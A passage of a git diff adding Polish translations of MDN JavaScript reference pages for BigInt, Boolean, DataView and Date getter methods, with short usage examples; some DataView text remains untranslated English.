<code>bigIntObj</code>.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_toString">Użycie <code>toString</code></h3> + +<pre class="brush: js">17n.toString(); // '17' +66n.toString(2); // '1000010' +254n.toString(16); // 'fe' +-10n.toString(2); // -1010' +-0xffn.toString(2); // '-11111111' +</pre> + +<h3 id="BigInt_z_ujemnym_zerem"><code>BigInt</code> z ujemnym zerem</h3> + +<p>Nie ma obiektów <code>BigInt</code> reprezentujących ujemne zero, tak jak nie ma ujemnych zer wśród liczb całkowitych.. <code>-0.0</code> jest zmiennoprzecinkową koncepcją zmiennoprzecinkową IEEE, która pojawia się w języku JavaScript jedynie w typie {{jsxref("Number")}}.</p> + +<pre class="brush: js">(-0n).toString(); // '0' +BigInt(-0).toString(); // '0'</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-bigint.prototype.tostring', 'BigInt.prototype.toString()')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.BigInt.toString")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("BigInt.prototype.toLocaleString()")}}</li> + <li>{{jsxref("BigInt.prototype.valueOf()")}}</li> + <li>{{jsxref("Number.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html new file mode 100644 index 0000000000..a1d4c312fd --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/bigint/valueof/index.html @@ -0,0 +1,59 @@ +--- +title: BigInt.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/valueOf +tags: + - BigInt + - JavaScript + - Metodă + - Prototype + - valueOf() +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/valueOf +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>valueOf()</code></strong> zwraca opakowaną wartość prymitywną obiektu {{jsxref("BigInt")}}.</p> + +<div>{{EmbedInteractiveExample("pages/js/bigint-valueof.html","shorter")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><var>bigIntObj</var>.valueOf()</pre> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>BigInt reprezentujący wartość prymitywną danego obiektu {{jsxref("BigInt")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_valueOf">Użycie <code>valueOf</code></h3> + +<pre class="brush: js">typeof Object(1n); // object +typeof Object(1n).valueOf(); // bigint +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-bigint.prototype.valueof', 'BigInt.prototype.valueOf()')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.BigInt.valueOf")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("BigInt.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/index.html new file mode 100644 index 0000000000..85e5a6a773 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/boolean/index.html @@ -0,0 +1,111 @@ +--- +title: Boolean +slug: Web/JavaScript/Referencje/Obiekty/Boolean +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +--- +<p>{{JSRef("Global_Objects", "Boolean")}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Obiekt <code>Boolean</code> jest obiektem opakowującym (ang.<em>wrapper</em> ) dla wartości logicznych.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>new Boolean([wartosc])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>wartosc</code> </dt> + <dd>Początkowa wartość obiektu <code>Boolean</code>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość przekazana jako pierwszy parametr jest w razie konieczności konwertowana do wartości logicznej. Jeśli wartość zostanie pominięta lub będzie równa 0, -0, null, false, <code>NaN</code>, będzie pustym łańcuchem znaków ("") lub będzie niezdefiniowana, obiekt przyjmie początkową wartość false. Dowolna inna wartość, włączając łańcuch znaków <code>"false"</code>, spowoduje utworzenie obiektu z początkową wartością true.</p> + +<p>Nie należy mylić prostych wartości logicznych true i false z wartościami <code>true</code> i <code>false</code> obiektu Boolean.</p> + +<p>Każdy obiekt, którego wartością nie jest wartość <code>undefined</code> lub <code>null</code>, w tym obiekt Boolean posiadający wartość <code>false</code>, traktowany jest w instrukcjach warunkowych jako <code>true</code>. Przykładowo warunek w poniższej instrukcji if będzie miał wartość <code>true</code>:</p> + +<pre class="eval">x = new Boolean(false); +if (x) { + // . . . ten kod zostanie wykonany +} +</pre> + +<p>Taka sytuacja nie zachodzi przy prostych wartościach logicznych. Przykładowo warunek w poniższej instrukcji if będzie miał wartość <code>false</code>::</p> + +<pre class="eval">x = false; +if (x) { + // . . . ten kod nie zostanie wykonany +} +</pre> + +<p>Nie należy zatem używać obiektu <code>Boolean</code> do konwersji wartości nie będącej wartością logiczną na wartość typu Boolean. Zamiast tego należy skorzystać z funkcji <code>Boolean()</code>:</p> + +<pre class="eval">x = Boolean(wyrazenie); // zalecane +x = new Boolean(wyrazenie); // nie należy używać +</pre> + +<p>Jeśli jako wartość początkową określony zostanie dowolny obiekt, w tym obiekt Boolean o wartości <code>false</code>, nowy obiekt Boolean będzie miał wartość <code>true</code>.</p> + +<pre class="eval">myFalse = new Boolean(false); // wartość początkowa: false +g = new Boolean(myFalse); // wartość początkowa: true +myString = new String("Hello"); // obiekt String (łańcuch znaków) +s = new Boolean(myString); // wartość początkowa: true +</pre> + +<p><strong>Nie należy</strong> używać obiektu Boolean zamiast prostej wartości logicznej.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt><code>Boolean.length</code></dt> + <dd>Length property whose value is 1.</dd> +</dl> + +<dl> + <dt>{{jsxref("Boolean.prototype")}}</dt> + <dd>Definiuje własność współdzieloną przez wszystkie obiekty Boolean.</dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<p>Globalny obiekt <code>Boolean</code> sam w sobie nie zawiera żadnych metod, jednak dziedziczy on niektóre metody poprzez łańcuch prototypu.</p> + +<div>{{jsOverrides("Function", "Methods")}}</div> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Efa.C5.82sz.E2.80.9D" name="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Efa.C5.82sz.E2.80.9D">Tworzenie obiektów <code>Boolean</code> z początkową wartością „fałsz”</h3> + +<pre class="brush: js">bNoParam = new Boolean(); +bZero = new Boolean(0); +bNull = new Boolean(null); +bEmptyString = new Boolean(""); +bfalse = new Boolean(false); +</pre> + +<h3 id="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Eprawda.E2.80.9D" name="Tworzenie_obiekt.C3.B3w_Boolean_z_pocz.C4.85tkow.C4.85_warto.C5.9Bci.C4.85_.E2.80.9Eprawda.E2.80.9D">Tworzenie obiektów <code>Boolean</code> z początkową wartością „prawda”</h3> + +<pre class="brush: js">btrue = new Boolean(true); +btrueString = new Boolean("true"); +bfalseString = new Boolean("false"); +bSuLin = new Boolean("Su Lin"); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Boolean.prototype")}}</li> + <li>{{Glossary("Boolean")}}</li> + <li><a href="http://en.wikipedia.org/wiki/Boolean_data_type">Boolean data type (Wikipedia)</a></li> +</ul> + +<div class="noinclude"> </div> diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html new file mode 100644 index 0000000000..5ba279ea35 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/boolean/prototype/index.html @@ -0,0 +1,48 @@ +--- +title: Boolean.prototype +slug: Web/JavaScript/Referencje/Obiekty/Boolean/prototype +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Reprezentuje prototyp konstruktora {{jsxref("Boolean")}}.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Instancje {{jsxref("Boolean")}} dziedziczą z <code>Boolean.prototype</code>. Możesz użyć obiektu prototypu konstruktora, by dodać własności lub metody do wszystkich instancji {{jsxref("Boolean")}}.</p> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt><code>Boolean.prototype.constructor</code></dt> + <dd>Zwraca funkcję, która tworzy instancję prototypu. Jest to domyślnie funkcja {{jsxref("Boolean")}}.</dd> +</dl> + +<div>{{jsOverrides("Object", "properties", "constructor")}}</div> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Boolean.prototype.toSource()")}} {{non-standard_inline}}</dt> + <dd>Zwraca ciąg zawierający źródło obiektu <code>Boolean</code>; możesz użyć tego ciągu, by stworzyć równoważny obiekt. Przesłania metodę {{jsxref("Object.prototype.toSource()")}}.</dd> +</dl> + +<dl> + <dt>{{jsxref("Boolean.prototype.toString()")}}</dt> + <dd>Zwraca ciąg "true" albo "false", zależnie od wartości obiektu. Przesłania metodę {{jsxref("Object.prototype.toString()")}}.</dd> +</dl> + +<dl> + <dt>{{jsxref("Boolean.prototype.valueOf()")}}</dt> + <dd>Zwraca prostą wartość obiektu <code>Boolean</code>. Przesłania metodę {{jsxref("Object.prototype.valueOf()")}}.</dd> +</dl> + +<div>{{jsOverrides("Object", "methods", "toSource", "toString", "valueOf")}}</div> diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html new file mode 100644 index 0000000000..b41f1c5806 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/boolean/tosource/index.html @@ -0,0 +1,51 @@ +--- +title: Boolean.prototype.toSource() +slug: Web/JavaScript/Referencje/Obiekty/Boolean/toSource +tags: + - Boolean + - JavaScript + - Method + - Non-standard + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toSource +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków z kodem źródłowym obiektu.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>booleanObj</var>.toSource() +Boolean.toSource()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>toSource</code> zwraca następujące wartości:</p> + +<ul> + <li>dla wbudowanego obiektu <code>Boolean</code> metoda <code>toSource</code> zwraca następujący łańcuch znaków, oznaczający, że kod źródłowy nie jest dostępny: + + <pre class="brush: js">function Boolean() { + [native code] +} +</pre> + </li> +</ul> + +<ul> + <li>dla instancji obiektu <code>Boolean</code> metoda <code>toSource</code> zwraca łańcuch znaków reprezentujący kod źródłowy.</li> +</ul> + +<p>Metoda ta jest zwykle stosowana wewnętrznie przez interpreter JavaScriptu, a nie bezpośrednio w kodzie programów.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toSource()")}} {{non-standard_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html new file mode 100644 index 0000000000..fe61d7bca9 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/boolean/tostring/index.html @@ -0,0 +1,41 @@ +--- +title: Boolean.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/Boolean/toString +tags: + - Boolean + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/toString +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca ciąg znaków reprezentujący dany obiekt Boolean</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>bool</var>.toString()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Obiekt {{jsxref("Boolean")}} przesłania metodę <code>toString</code> obiektu {{jsxref("Object")}}, nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów <code>Boolean</code> metoda <code>toString</code> zwraca ich tekstową reprezentację.</p> + +<p>JavaScript wywołuje metodę <code>toString</code> samoczynnie, kiedy instancja obiektu {{jsxref("Boolean")}} ma być reprezentowana jako wartość tekstowa lub kiedy instancja obiektu {{jsxref("Boolean")}} jest składnikiem konkatenacji ciągu(-ów) znaków.</p> + +<p>Dla obiektów i wartości {{jsxref("Boolean")}} wbudowana metoda <code>toString</code> zwraca ciąg znaków "<code>true</code>" lub "<code>false</code>" w zależności od wartości obiektu boolowskiego. W poniższym przykładzie <code>flaga.toString</code> zwraca "<code>true</code>".</p> + +<pre class="brush: js">var flaga = new Boolean(true) +var mojaZmienna=flaga.toString() +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.toString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html new file mode 100644 index 0000000000..1e20821efa --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/boolean/valueof/index.html @@ -0,0 +1,43 @@ +--- +title: Boolean.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/Boolean/valueOf +tags: + - Boolean + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Boolean/valueOf +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca wartość prostą obiektu {{jsxref("Boolean")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>bool</var>.valueOf()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>valueOf</code> obiektu {{jsxref("Boolean")}} zwraca wartość prostą obiektu {{jsxref("Boolean")}} lub literału {{jsxref("Boolean")}} jako typ Boolean.</p> + +<p>Metoda ta jest zwykle wywoływana wewnętrznie przez interpreter JavaScriptu, a nie w typowym kodzie w JavaScripcie.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_valueOf" name="Przyk.C5.82ad:_Zastosowanie_valueOf">Przykład: Zastosowanie <code>valueOf</code></h3> + +<pre class="brush: js">var x = new Boolean(); +myVar = x.valueOf() // przypisuje myVar wartość false +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.valueOf()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/dataview/index.html b/files/pl/web/javascript/referencje/obiekty/dataview/index.html new file mode 100644 index 0000000000..db3d459a82 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/dataview/index.html @@ -0,0 +1,118 @@ +--- +title: DataView +slug: Web/JavaScript/Referencje/Obiekty/DataView +translation_of: Web/JavaScript/Reference/Global_Objects/DataView +--- +<div>{{JSRef}}</div> + +<p><strong><code>DataView</code></strong> udostępnia niskopoziowy interfejs do zapisu i odczytu typów numerycznych w formie {{jsxref("ArrayBuffer")}} niezależnie od kodowania platformy.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">new DataView(buffer [, byteOffset [, byteLength]])</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>buffer</code></dt> + <dd>Istniejący {{jsxref("ArrayBuffer")}} lub {{jsxref("SharedArrayBuffer")}} {{experimental_inline}} używany jako pamięć dla obiektu <code>DataView</code> .</dd> + <dt><code>byteOffset</code> {{optional_inline}}</dt> + <dd>The offset, in bytes, to the first byte in the specified buffer for the new view to reference. If not specified, the view of the buffer will start with the first byte.</dd> + <dt><code>byteLength</code> {{optional_inline}}</dt> + <dd>The number of elements in the byte array. If unspecified, length of the view will match the buffer's length.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>A new <code>DataView</code> object representing the specified data buffer.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<dl> + <dt><code>{{jsxref("RangeError")}}</code></dt> + <dd>Thrown if the <code>byteOffset</code> and <code>byteLength</code> result in the specified view extending past the end of the buffer.</dd> +</dl> + +<h2 id="Description">Description</h2> + +<h3 id="Endianness">Endianness</h3> + +<p>Multi-byte number formats are represented in memory differently depending on machine architecture, see {{Glossary("Endianness")}} for an explanation. DataView accessors provide explicit control of how data will be accessed irrespective of the platform architecture's endianness.</p> + +<pre class="brush: js">var littleEndian = (function() { + var buffer = new ArrayBuffer(2); + new DataView(buffer).setInt16(0, 256, true /* littleEndian */); + // Int16Array uses the platform's endianness. + return new Int16Array(buffer)[0] === 256; +})(); +console.log(littleEndian); // true or false +</pre> + +<h2 id="Properties">Properties</h2> + +<p>All <code>DataView</code> instances inherit from {{jsxref("DataView.prototype")}} and allows the addition of properties to all DataView objects.</p> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Properties')}}</p> + +<h2 id="Methods">Methods</h2> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/DataView/prototype','Methods')}}</p> + +<h2 id="Example">Example</h2> + +<pre class="brush: js">var buffer = new ArrayBuffer(16); +var dv = new DataView(buffer, 0); + +dv.setInt16(1, 42); +dv.getInt16(1); //42 +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Typed Array')}}</td> + <td>{{Spec2('Typed Array')}}</td> + <td>Superseded by ECMAScript 6</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Initial definition in an ECMA standard</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("javascript.builtins.DataView")}}</p> + +<h2 id="Compatibility_notes">Compatibility notes</h2> + +<p>Starting with Firefox 40, <code>DataView</code> requires to be constructed with a {{jsxref("Operators/new", "new")}} operator. Calling <code>DataView()</code> as a function without <code>new</code>, will throw a {{jsxref("TypeError")}} from now on.</p> + +<pre class="brush: js example-bad">var dv = DataView(buffer, 0); +// TypeError: calling a builtin DataView constructor without new is forbidden</pre> + +<pre class="brush: js example-good">var dv = new DataView(buffer, 0);</pre> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a class="link-https" href="https://github.com/jDataView/jDataView">jDataView</a>: JavaScript library that polyfills and extends the <code>DataView</code> API to all browsers and Node.js.</li> + <li>{{jsxref("ArrayBuffer")}}</li> + <li>{{jsxref("SharedArrayBuffer")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html new file mode 100644 index 0000000000..0d649b4fe6 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/constructor/index.html @@ -0,0 +1,18 @@ +--- +title: constructor +slug: Web/JavaScript/Referencje/Obiekty/Date/constructor +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date +--- +<p> +</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca referencję do funkcji <a href="../../../../en/Core_JavaScript_1.5_Reference/Global_Objects/Date" rel="internal">Date</a>, która tworzy prototyp instancji. Należy pamiętać, że wartość tej własności jest referencją do samej funkcji, nie zaś łańcuchem znaków zawierającym nazwę funkcji.</p> +<table class="fullwidth-table"> <tbody> <tr> <td class="header" colspan="2">Własność obiektu: <a href="/pl/Dokumentacja_j%C4%99zyka_JavaScript_1.5/Obiekty/Date" title="pl/Dokumentacja_języka_JavaScript_1.5/Obiekty/Date">Date</a></td> </tr> <tr> <td>Zaimplementowane w:</td> <td>JavaScript 1.1, NES 2.0</td> </tr> <tr> <td>Wersja ECMA:</td> <td>ECMA-262</td> </tr> </tbody> +</table><h3 id="Opis" name="Opis"> Opis </h3> +<p>Zobacz <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object/constructor">Object.constructor</a></code>. +</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Date/constructor", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Date/constructor" } ) }} diff --git a/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html b/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html new file mode 100644 index 0000000000..2dcba53fa0 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getdate/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getDate() +slug: Web/JavaScript/Referencje/Obiekty/Date/getDate +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDate +--- +<div>{{JSRef}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca dzień miesiąca dla określonej daty stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getDate()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość zwracana przez <code>getDate</code> to liczby całkowite z przedziału liczb pomiędzy 1 a 31.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getDate" name="Przyk.C5.82ad:_Zastosowanie_getDate">Przykład: Zastosowanie <code>getDate()</code></h3> + +<p>Druga instrukcja poniżej przydziela wartość 25 do zmiennej <code>dzien</code>, wartość oparta na <code>Date</code>, obiektu <code>Xmas95</code>.</p> + +<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00"); +var dzien = Xmas95.getDate(); + +console.log(dzien), // 25 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCDate()")}}</li> + <li>{{jsxref("Date.prototype.getUTCDay()")}}</li> + <li>{{jsxref("Date.prototype.setDate()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getday/index.html b/files/pl/web/javascript/referencje/obiekty/date/getday/index.html new file mode 100644 index 0000000000..0c52e4e3dd --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getday/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getDay() +slug: Web/JavaScript/Referencje/Obiekty/Date/getDay +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getDay +--- +<div>{{JSRef("Global_Objects", "Date")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca dzień tygodnia określonej daty, stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getDay()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartością zwracaną przez <code>getDay</code> jest liczba całkowita, odnosząca się do dnia tygodnia: 0 dla niedzieli, 1 dla poniedziałku, 2 dla wtorku, i tak dalej.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getDay" name="Przyk.C5.82ad:_Zastosowanie_getDay">Przykład: Zastosowanie <code>getDay()</code></h3> + +<p>Druga instrukcja poniżej przydziela wartość 1 do <code>dzienTyg</code>, opierając się o wartość <code>Date</code>, obiektu <code>Xmas95</code>. 25 grudnia 1995 roku wypadał w poniedziałek.</p> + +<pre class="brush: js">var Xmas95 = new Date("December 25, 1995 23:15:00"); +var weekday = Xmas95.getDay(); + +console.log(weekday); // 1 +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCDate()")}}</li> + <li>{{jsxref("Date.prototype.getUTCDay()")}}</li> + <li>{{jsxref("Date.prototype.setDate()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html b/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html new file mode 100644 index 0000000000..ecc7d868c0 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/getfullyear/index.html @@ -0,0 +1,47 @@ +--- +title: Date.prototype.getFullYear() +slug: Web/JavaScript/Referencje/Obiekty/Date/getFullYear +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getFullYear +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca rok określonej daty, stosownie do czasu lokalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.getFullYear()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartość <code>getFullYear</code> zwracana jest jako pełna liczba. Dla dat liczba lat zawiera się pomiędzy 1000 i 9999, <code>getFullYear</code> zwraca czterocyfrową liczbę, na przykład: 1995. Użyj tej funkcji, aby być pewnym, że wyświetlona będzie pełna data po roku 2000.</p> + +<p>Użyj tej metody zamiast metody <code>getYear</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_getFullYear" name="Przyk.C5.82ad:_Zastosowanie_getFullYear">Przykład: Zastosowanie <code>getFullYear</code></h3> + +<p>Następujący przykład przydziela czterocyfrową wartość aktualnego roku do zmiennej <code>yr</code>.</p> + +<pre class="brush: js">var today = new Date(); +var yr = today.getFullYear(); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li> + <li>{{jsxref("Date.prototype.setFullYear()")}}</li> + <li>{{jsxref("Date.prototype.getYear()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html b/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html new file mode 100644 index 0000000000..a6010ec8c3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/gethours/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.getHours() +slug: Web/JavaScript/Referencje/Obiekty/Date/getHours +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Date/getHours +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + 